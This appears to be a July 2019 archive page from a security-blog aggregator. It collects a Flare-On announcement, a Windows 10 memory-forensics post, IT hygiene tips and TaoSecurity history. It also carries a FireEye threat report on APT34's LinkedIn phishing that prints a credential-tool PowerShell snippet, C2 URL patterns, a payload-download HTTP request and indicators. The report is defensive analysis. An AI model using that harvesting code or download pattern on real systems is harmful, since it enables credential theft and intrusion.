Monthly Archives: July 2019

Announcing the Sixth Annual Flare-On Challenge

The FireEye Labs Advanced Reverse Engineering (FLARE) team is thrilled to announce that the popular Flare-On reverse engineering challenge will return for the sixth straight year. The contest will begin at 8:00 p.m. ET on Aug. 16, 2019. This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts, and security professionals. The contest runs for six full weeks and ends at 8:00 p.m. ET on Sept. 27, 2019.

This year’s contest will feature a total of 12 challenges covering a variety of architectures from x86 on Windows, .NET, Linux, and Android. Also, for the first time in Flare-On history, the contest will feature a NES ROM challenge. This is one of the only Windows-centric CTF contests out there and we have crafted it to represent the skills and challenges our FLARE team faces.

If you are skilled and dedicated enough to complete the Sixth Flare-On challenge, you will receive a prize and recognition on the Flare-On website for your accomplishment. Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers. Previous prizes included belt buckles, a replica police badge, a challenge coin, and a huge pin.

Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice. For official news and information, we will be using the Twitter hashtag: #flareon6

Culture Crossover: The Great Hack

The Great Hack could be another bleak episode of Netflix’s techno-dystopian horror series Black Mirror. A seedy analytics company weaponises millions of data points extracted from unwitting social media users, only to manipulate their political worldviews en masse, foment intercultural conflicts, and, ultimately, usher in an authoritarian leadership. Unfortunately The Great Hack is a documentary.

Finding Evil in Windows 10 Compressed Memory, Part One: Volatility and Rekall Tools

Paging all digital forensicators, incident responders, and memory manager enthusiasts! Have you ever found yourself at a client site working around the clock to extract evil from a Windows 10 image? Have you hit the wall at step zero, running into difficulties viewing a process tree, or enumerating kernel modules? Or even worse, had to face the C-Suite and let them know you couldn’t find any evil? Well fear no more – FLARE has you covered. We've analyzed Windows 10 and integrated our research into Volatility and  Rekall tools for your immediate consumption!

Until August 2013, as a skilled consultant, you were generally in good shape. Your tools worked as you expected them to and you were able to forensicate rapidly. Windows 8.1 introduced changes that began to break the tools we know and love. This breakdown largely went unnoticed as most companies continued using Windows 7, but now corporate environments are rolling out Windows 10 images at an ever-increasing pace and forensic tools haven’t kept up.

This blog post is the first in a three-part series covering our Windows 10 memory forensics research. This post coincides with Omar Sardar and Blaine Stancill’s presentation at SANS DFIR Austin 2019 and is designed to introduce you to FLARE’s updates to Volatility and Rekall. The next post will coincide with our BlackHat USA 2019 presentation, in which Omar Sardar and Dimiter Andonov will dig into the nitty-gritty details of the Windows 10 memory manager. The final post will serve as a guide to those seeking to analyze the kernel on their own.

Overview

Traditionally, a complete Windows memory analysis only required forensic tools to parse physical memory and fill in any missing gaps from the pagefile. In Windows 8.1 Microsoft upended this paradigm with the introduction of memory compression and a new virtual store designed to contain compressed memory. While current tools can inspect traditional pagefiles on disk just fine, the virtual store poses a challenge due to sparse documentation and data compression.

To enable a more complete memory analysis on Windows 10, FireEye’s FLARE team analyzed the operating system’s memory manager as well as the algorithms and structures used to retrieve compressed memory. The memory we’re looking for is stored in a virtual store, created by the Store Manager kernel component. The Store Manager is responsible for managing data involved in performance optimization systems, including SuperFetch, ReadyBoost, and ReadyDrive. In this case, the Virtual Store is a RAM-backed entity, leveraging storage space in MemCompression for processes’ compressed data. The results of this research have been ported to both Volatility and Rekall to benefit the security community.

Volatility and Rekall

Volatility and Rekall are two of the most popular open-source memory forensic frameworks available. With the introduction of Windows memory compression, both frameworks have been unable to read compressed pages – until now! The effects of compression were immediately noticeable as many plugins previously reported missing data or did not work altogether. To demonstrate, we will utilize a common plugin called modules that lists drivers loaded at the time of memory capture. In Figure 1, drivers loaded on the system are enumerated, but several paths to the files on disk are paged out to the compression store. These missing paths could very well be the evil you were hunting!


Figure 1: Volatility & Rekall missing data stored in compressed pages

To deal with missing data due to compressed pages, FireEye's FLARE team made multiple additions to Volatility and Rekall to support Windows 10 memory compression. First and foremost, we added the necessary overlays:

An overlay describes the internal data structures used by the Windows 10 memory compression algorithm and makes them available in Python. For example, the overlays define the layout of the SMKM_STORE structure and the B+Trees used to lookup compressed pages. These structures, among others, will be described in additional detail in Part Two of this blog series.

The undocumented Windows structures defined in the overlays are based on information we obtained through analyzing different versions of Windows 10. Being undocumented, these structures are susceptible to change across Windows builds, and even revisions. We currently support versions 1607, 1703, 1709, 1803, and 1809 on both 32-bit and 64-bit architectures. To support additional versions, the layout of the structures must be analyzed and the overlays updated accordingly. Analyzing the kernel to extract these structures will be discussed further in both Part Two and Part Three of this blog series.

The second modification to support compressed pages includes new address spaces for each framework:

Address spaces are responsible for satisfying memory read requests. When stacked on top of one another, each layer can translate the read request to an underlying base layer abstracting away the details of how the actual read is performed. An example translation is converting a virtual address to a physical address. Depending on the bottommost layer, the physical address may be an offset into a memory image, crash dump, or hibernate file. The takeaway is that an address space transparently resolves memory, regardless of its location and – most importantly – with zero effort on your part. Due to this seamless integration, users can interact with Volatility and Rekall just as before and, if a compressed page is detected, the new address spaces will take care of decompression in the background and return the decompressed data.

Back to our previous modules plugin example, Figure 2 demonstrates how the newly implemented address spaces properly decompress data located in compressed pages. No more hidden drivers or DLLs, among a plethora of other forensic artifacts. The data is now yours to continue your hunt for evil!


Figure 2: Volatility & Rekall decompressing compressed data

Get It Today

Head over to our Volatility and Rekall GitHub repositories to start using them today. After downloading or cloning the repositories, follow any necessary installation instructions as outlined on each GitHub's README page and start finding that evil!

Conclusion

Windows 10 memory compression is a significant evolution in the design of the memory manager that increases system performance by making a more efficient use of physical memory. This increase in performance comes at the cost of a more complex memory management system that is currently not publicly documented. Up until now, Volatility and Rekall were unable to inspect memory stored in compressed pages, opening the door to malicious programs and forensics artifacts going undetected. FireEye’s FLARE team hopes to fill the knowledge and technical gaps for Windows 10 compressed memory through contributions to Volatility and Rekall, as well as in presentations given at SANS DIFR (Finding Evil in Windows 10 Compressed Memory) and BlackHat USA 2019. We look forward to seeing you there and hearing your feedback, and we’re excited to see how these frameworks develop as a result of our contributions! Stay tuned for Part Two of our Finding Evil in Windows 10 Compressed Memory blog series.

Hard Pass: Declining APT34’s Invite to Join Their Professional Network

Background

With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.

FireEye Identifies Phishing Campaign

In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor. Three key attributes caught our eye with this particular campaign:

  1. Masquerading as a member of Cambridge University to gain victims’ trust to open malicious documents,
  2. The usage of LinkedIn to deliver malicious documents,
  3. The addition of three new malware families to APT34’s arsenal.

FireEye’s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.

APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities.

Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, and this Cisco post.

Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.” This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post.

Industries Targeted

The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries:

  • Energy and Utilities
  • Government
  • Oil and Gas

Utilizing Cambridge University to Establish Trust

On June 19, 2019, FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security’s ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.

The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\<user_name>\.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF.

A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post.

Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam-research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.

Managed Defense reached out to the impacted customer’s security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities.


Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF

This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.

FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes:

  • 96feed478c347d4b95a8224de26a1b2c
  • caf418cbf6a9c4e93e79d4714d5d3b87

A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening.


Figure 2: Screenshot of VBA code from System.doc

The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection.


Figure 3: Additional VBA code from System.doc

Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80.

The FireEye Footprint: Pivots and Victim Identification

After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.

Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware’s stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character “sys_id”. This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures:

  • hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000

The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.

FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4).

GET hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0)
AppleWebKit/537.36 (KHTML, like Gecko)
Host: offlineearthquake[.]com
Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1

Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network Security appliance

FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT.

VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Further information regarding VALUEVAULT can be found in the appendix below.

Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.

PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34.

Conclusion

The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye’s platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware.

We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security.

Malware Appendix

TONEDEAF

TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.]com, it was not configured to use this functionality. Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil. The creator likely made this as a means for future DNS exfiltration as a plan B.


Figure 5: Snippet of code from TONEDEAF binary

Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly. One such bug involves determining the length of a command response string without accounting for Unicode strings. As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output. Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.]154.

VALUEVAULT

VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. A snippet of this function is shown in Figure 6.

powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-Object -ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. . $hist.Items() | . foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items() | . foreach {. $site = $_. . if ($site.IsFolder) {. $pageFolder = $site.GetFolder. $pageFolder.Items() | . foreach {. $visit = New-Object -TypeName PSObject -Property @{ . URL = $($pageFolder.GetDetailsOf($_,0)) . }. $visit. }. }. }. }. }. }. get-iehistory

Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials

Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the “Windows Vault Password Dumper”. Figure 7 shows the SQL format of the fsociety.dat file.


Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database

VALUEVAULT’s function names are not obfuscated and are directly reviewable in strings analysis. Other developer environment variables were directly available within the binary as shown below. VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool.

C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/new_edge.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/mozila.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/main.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/ie.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go

Figure 8: Golang files extracted during execution of VALUEVAULT

LONGWATCH

FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

Interesting strings identified in the binary are shown in Figure 9.

GetAsyncKeyState
>---------------------------------------------------\n\n
c:\\windows\\temp\\log.txt
[ENTER]
[CapsLock]
[CRTL]
[PAGE_UP]
[PAGE_DOWN]
[HOME]
[LEFT]
[RIGHT]
[DOWN]
[PRINT]
[PRINT SCREEN] (1 space)
[INSERT]
[SLEEP]
[PAUSE]
\n---------------CLIPBOARD------------\n
\n\n >>>  (2 spaces)
c:\\windows\\temp\\log.txt

Figure 9: Strings identified in a LONGWATCH binary

Detecting the Techniques

FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH. Table 2 contains several specific detection names that provide an indication of APT34 activity.

Signature Name

FE_APT_Keylogger_Win_LONGWATCH_1

FE_APT_Keylogger_Win_LONGWATCH_2

FE_APT_Keylogger_Win32_LONGWATCH_1

FE_APT_HackTool_Win_PICKPOCKET_1

FE_APT_Trojan_Win32_VALUEVAULT_1

FE_APT_Backdoor_Win32_TONEDEAF

TONEDEAF BACKDOOR [DNS]

TONEDEAF BACKDOOR [upload]

TONEDEAF BACKDOOR [URI]

Table 1: FireEye Platform Detections

Endpoint Indicators

Indicator

MD5 Hash (if applicable)

Code Family

System.doc

b338baa673ac007d7af54075ea69660b

TONEDEAF

 

50fb09d53c856dcd0782e1470eaeae35

TONEDEAF

ERFT-Details.xls

96feed478c347d4b95a8224de26a1b2c

TONEDEAF DROPPER

 

caf418cbf6a9c4e93e79d4714d5d3b87

TONEDEAF DROPPER

b.exe

9fff498b78d9498b33e08b892148135f

VALUEVAULT

WindowsNTProgram.exe

021a0f57fe09116a43c27e5133a57a0a

LONGWATCH

PE86.dll

d8abe843db508048b4d4db748f92a103

PICKPOCKET

PE64.dll

6eca9c2b7cf12c247032aae28419319e

PICKPOCKET

Table 2: APT34 Endpoint Indicators from this blog post

Network Indicators

hxxp[://]www[.]cam-research-ac[.]com

offlineearthquake[.]com

c[.]cdn-edge-akamai[.]com

185[.]15[.]247[.]154

Acknowledgements

A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis.

Tips for the IT Department on Reducing Cyber Clutter

Just like kitchen drawers and closets, computers accumulate clutter over time. And when you have an entire organization’s worth of people to watch and exponential amounts of data collected every day, it takes more than a day of spring cleaning to get your environment clean.  Clearing out your team’s cyber clutter will not only help make the business more organized and productive, but it will also mitigate the vulnerabilities that accompany the clutter.

Here are four areas you should de-clutter to ensure your organization’s digital presence is clean:

1.    Physical Devices

Physical devices can take up most of your organizational environment, from user computers to firewalls. All of these devices have proprietary information of some form on them, so it’s wise to keep them at the forefront of your decluttering.

Here’s a few tips:

  • Create and enforce policies and procedures for your organization’s documents.
    • Implement a document deletion policy and make sure your team is aware of it. You don’t want a user’s computer to be stolen with years’ worth of documents stored on it.
    • Consider how sensitive documents are handled. These are documents that should not be accessed by the general organization, should not be stored on a local machine, and may need to be encrypted.
    • If you have a cloud storage solution, enforce automatic backup for users. This enables you to have a better view of what your users are storing and what they are doing with those documents.

2.    Cloud Storage

Because cloud storage doesn’t take up space in your server room, it’s easy to forget to quality control it as you do your physical storage. And while cloud storage is generally hosted by trusted service providers, we’ve seen these servers open in the wild before.

When cloud storage applications are one of the easiest ways to exfiltrate company data, it’s important to regulary clean them out and restrict access as appropriate.

  • Are you currently restricting what cloud storage systems your users are able to access? This is a twofold concern as having company accounts attached to multiple cloud systems opens up avenues for attackers and data exfiltration.
  • Enforce your company document policies and procedures with your cloud storage. It’s actually easier to enforce some policies within the cloud, such as least privilege permissions.
  • Utilize the built-in security features that many cloud storage apps have. These can protect against data exfiltration or alert for suspicious activity.

3.    Email

Email accounts are some of the largest data hubs, storing information about an account’s owner and everyone they interact with. Think of the email accounts of the members of your HR department, full of employees’ sensitive data.

When addressing the security of your company’s email accounts, consider:

  • Do you have a limit on how much data a single inbox can hold?
    • If you don’t have a limit, do you have a widely known policy on the importance of cleaning out your email boxes every so often? This depends on your organization, but your users should be informed of the risks of keeping their friend’s vendor’s personal contact information in their inbox for six months.
  • Sometimes it’s surprising what capabilities users are unaware of within their emails. It’s a great idea to empower your users to utilize your email service’s tools by providing them with guides for things like how to:
    • Search for sensitive data to quickly find and delete it,
    • Set up automatic deletion rules, and
    • Set up rules that screen their inbox for marketing or important emails.
  • If your organization has a data retention policy, make sure that emails are included in it. This will affect the permissions your users have; for example, you can completely remove users’ ability to delete emails within their individual inboxes.

4.    Apps

Oftentimes we forget the pervasiveness of apps, whether they’re on our computer or mobile devices. Most companies are utilizing Mobile Device Management (MDM) for their devices.

However, an MDM still needs to be reviewed and have proper enforcements put in place.  Consider:

  • Are apps restricted only to the people that need them? For example, your marketing team may need access to Facebook and Instagram, but your engineers do not.
  • If there are accounts or subscriptions associated with an app, be sure to document all of the relevant information. You don’t want to run into a situation where an employee leaves the organization, but they were the sole owner of applications important to the organizational workflow.
  • All apps should be as securely configured as possible; however, sometimes apps make this difficult by hiding the settings in question. Review all apps and create procedures for secure configuration before they are allowed to the general population of your organization.

Other Things to Think about

  • For organizations that utilize photography or videography, keep in mind that this type of data is just as vulnerable as a text document. Your organizational data policies apply here, perhaps even more stringently.
  • Password keepers are a great method of ensuring that users adhere to proper password practice, such as using strong and unique passwords. Make sure the user is aware of how to properly use the password keeper, otherwise they may find ways to avoid using it.
  • Implement a company-wide multi-factor authentication policy to prevent unauthorized access to your systems. It’s also important to judge your needs of security and your users’ acceptance to see if you should invest in hard tokens instead of the more common soft tokens like authentication apps.

By following the tips above to de-clutter your IT environment, you will ultimately help your organization become more secure.

The post Tips for the IT Department on Reducing Cyber Clutter appeared first on GRA Quantum.

Happy Birthday TaoSecurity.com


Nineteen years ago this week I registered the domain taosecurity.com:

Creation Date: 2000-07-04T02:20:16Z

This was 2 1/2 years before I started blogging, so I don't have much information from that era. I did create the first taosecurity.com Web site shortly thereafter.

I first started hosting it on space provided by my then-ISP, Road Runner of San Antonio, TX. According to archive.org, it looked like this in February 2002.


That is some fine-looking vintage hand-crafted HTML. Because I lived in Texas I apparently reached for the desert theme with the light tan background. Unfortunately I didn't have the "under construction" gif working for me.

As I got deeper into the security scene, I decided to simplify and adopt a dark look. By this time I had left Texas and was in the DC area, working for Foundstone. According to archive.org, the site look like this in April 2003.


Notice I've replaced the oh-so-cool picture of me doing American Kenpo in the upper-left-hand corner with the classic Bruce Lee photo from the cover of The Tao of Jeet Kune Do. This version marks the first appearance of my classic TaoSecurity logo.

A little more than two years later, I decided to pursue TaoSecurity as an independent consultant. To launch my services, I painstakingly created more hand-written HTML and graphics to deliver this beauty. According to archive.org, the site looked like this in May 2005.


I mean, can you even believe how gorgeous that site is? Look at the subdued gray TaoSecurity logo, the red-highlighted menu boxes, etc. I should have kept that site forever.

We know that's not what happened, because that wonder of a Web site only lasted about a year. Still to this day not really understanding how to use CSS, I used a free online template by Andreas Viklund to create a new site. According to archive.org, the site appeared in this form in July 2006.


After four versions in four years, my primary Web site stayed that way... for thirteen years. Oh, I modified the content, SSH'ing into the server hosted by my friend Phil Hagen, manually editing the HTML using vi (and careful not to touch the CSS).

Then, I attended AWS re:inforce the last week in June, 2019. I decided that although I had tinkered with Amazon Web Services as early as 2010, and was keeping an eye on it as early as 2008, I had never hosted any meaningful workloads there. A migration of my primary Web site to AWS seemed like a good way to learn a bit more about AWS and an excuse to replace my teenage Web layout with something that rendered a bit better on a mobile device.

After working with Mobirise, AWS S3, AWS Cloudfront, AWS Certificate Manager, AWS Route 53, my previous domain name servers, and my domain registrar, I'm happy to say I have a new TaoSecurity.com Web site. The front page like this:


The background is an image of Milnet from the late 1990s. I apologize for the giant logo in the upper left. It should be replaced by a resized version later today when the AWS Cloudfront cache expires.

Scolling down provides information on my books, which I figured is what most people who visit the site care about.


For reference, I moved the content (which I haven't been updated) about news, press, and research to individual TaoSecurity Blog posts.

It's possible you will not see the site, if your DNS servers have the old IP addresses cached. That should all expire no later than tomorrow afternoon, I imagine.

Let's see if the new site lasts another thirteen years?

Reference: TaoSecurity Press

I started appearing in media reports in 2000. I used to provide this information on my Web site, but since I don't keep that page up-to-date anymore, I decided to publish it here.

Reference: TaoSecurity Research

I started publishing my thoughts and findings on digital security in 1999. I used to provide this information on my Web site, but since I don't keep that page up-to-date anymore, I decided to publish it here.

2015 and later:

  • Please visit Academia.edu for Mr. Bejtlich's most recent research.
2014 and earlier:

Reference: TaoSecurity News

I started speaking publicly about digital security in 2000. I used to provide this information on my Web site, but since I don't keep that page up-to-date anymore, I decided to publish it here.
  • 2017
    • Mr. Bejtlich led a podcast titled Threat Hunting: Past, Present, and Future, in early July 2017. He interviewed four of the original six GE-CIRT incident handlers. The audio is posted on YouTube. Thank you to Sqrrl for making the reunion possible.
    • Mr. Bejtlich's latest book was inducted into the Cybersecurity Canon.
    • Mr. Bejtlich is doing limited security consulting. See this blog post for details.
  • 2016
    • Mr. Bejtlich organized and hosted the Management track (now "Executive track") at the 7th annual Mandiant MIRCon (now "FireEye Cyber Defense Summit") on 29-30 November 2016.
    • Mr. Bejtlich delivered the keynote to the 2016 Air Force Senior Leaders Orientation Conference at Joint Base Andrews on 29 July 2016.
    • Mr. Bejtlich delivered the keynote to the FireEye Cyber Defense Live Tokyo event in Tokyo on 12 July 2016.
    • Mr. Bejtlich delivered the keynote to the New Zealand Cyber Security Summit in Auckland on 6 May 2016.
    • Mr. Bejtlich delivered the keynote to the Lexpo Summit in Amsterdam on 21 April 2016. Video posted here.
    • Mr. Bejtlich discussed cyber security campaigns at the 2016 War Studies Cumberland Lodge Conference near London on 30 March 2016.
    • Mr. Bejtlich offered a guest lecture to the Wilson Center Congressional Cybersecurity Lab on 5 February 2016.
    • Mr. Bejtlich delivered the keynote to the SANS Cyber Threat Intelligence Summit on 4 February 2016. Slides and video available.
  • 2015
  • 2014
  • 2013
    • Mr. Bejtlich taught Network Security Monitoring 101 at Black Hat Seattle 2013: 9-10 December 2013 / Seattle, WA.
    • Mr. Bejtlich offered a guest lecture on digital security at George Washington University on 23 November 2013.
    • Mr. Bejtlich spoke about digital security at the Mid-Atlantic CIO Council on 21 November 2013.
    • Mr. Bejtlich was a panelist at the Brookings Institute on 19 November 2013.
    • Mr. Bejtlich offered several guest lectures on digital security at the Massachusetts Institute of Technology on 18 November 2013.
    • Mr. Bejtlich was a panelist at the Atlantic Council on 15 November 2013.
    • Mr. Bejtlich organized and hosted the Management track at the 4th annual Mandiant MIRCon on 5-6 November 2013.
    • Mr. Bejtlich was a panelist at the Free Thinking Film Festival on 2 November 2013.
    • Mr. Bejtlich offered the keynote at the Cyber Ark user conference on 30 October 2013.
    • Mr. Bejtlich was a panelist at the Indiana University Center for Applied Cybersecurity Research on 21 October 2013.
    • Mr. Bejtlich spoke at the national ISSA conference on 10 October 2013.
    • Mr. Bejtlich was a panelist at the Politico Cyber 7 event on 8 October 2013.
    • Mr. Bejtlich offered the keynote at the BSides August 2013 conference on 14 September 2013.
    • Mr. Bejtlich taught Network Security Monitoring 101 at Black Hat USA 2013: 27-28 and 29-30 July 2013 / Las Vegas, NV.
    • Mr. Bejtlich was a panelist at the Chatham House Cyber Security Conference in London, England on 10 June 2013.
    • Mr. Bejtlich appeared in the documentary Hacked, first available 7 June 2013.
    • Mr. Bejtlich was interviewed at the Center for National Policy, with video archived, on 15 May 2013.
    • Mr. Bejtlich delivered a keynote at the IT Web Security Summit in Johannesburg, South Africa on 8 May 2013.
    • Mr. Bejtlich was a panelist at The George Washington University and US News & World Report Cybersecurity Conference on 26 April 2013.
    • Mr. Bejtlich testified to the House Committee on Foreign Affairs on 21 March 2013.
    • Mr. Bejtlich testified to the House Committee on Homeland Security on 20 March 2013.
    • Mr. Bejtlich testified to the Senate Armed Services Committee on 19 March 2013.
    • Mr. Bejtlich shared his thoughts on the APT1 report with the Federalist Society on 12 March 2013. The conference call was recorded as Cybersecurity And the Chinese Hacker Problem - Podcast.
  • 2012
    • Mr. Bejtlich taught TCP/IP Weapons School 3.0 at Black Hat Abu Dhabi 2012: 3-4 Dec / Abu Dhabi, UAE.
    • Mr. Bejtlich spoke at a Mandiant breakfast event in Calgary, AB on 28 Nov 2012.
    • Mr. Bejtlich spoke at AppSecUSA in Austin, TX on 26 Oct 2012. The talk Incident Response: Security After Compromise is posted as a video (42 min).
    • Mr. Bejtlich organized and hosted the Management track at the 3rd annual Mandiant MIRCon on 17-18 October 2012.
    • Mr. Bejtlich spoke at a SANS event in Baltimore, MD on 5 Oct 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event in Dallas, TX on 13 Sep 2012.
    • Mr. Bejtlich taught TCP/IP Weapons School 3.0 at Black Hat USA 2012: 21-22 and 23-24 Jul / Las Vegas, NV.
    • Mr. Bejtlich taught a compressed version of TCP/IP Weapons School 3.0 at a U.S. Cyber Challenge Summer Camp in Ballston, VA on 28 Jun 2012.
    • Mr. Bejtlich participated on a panel titled Hackers vs Executives at the Forrester conference in Las Vegas on 25 May 2012.
    • Mr. Bejtlich spoke at the Cyber Security for Executive Leadership: What Every CEO Should Know event in Raleigh, NC on 11 May 2012.
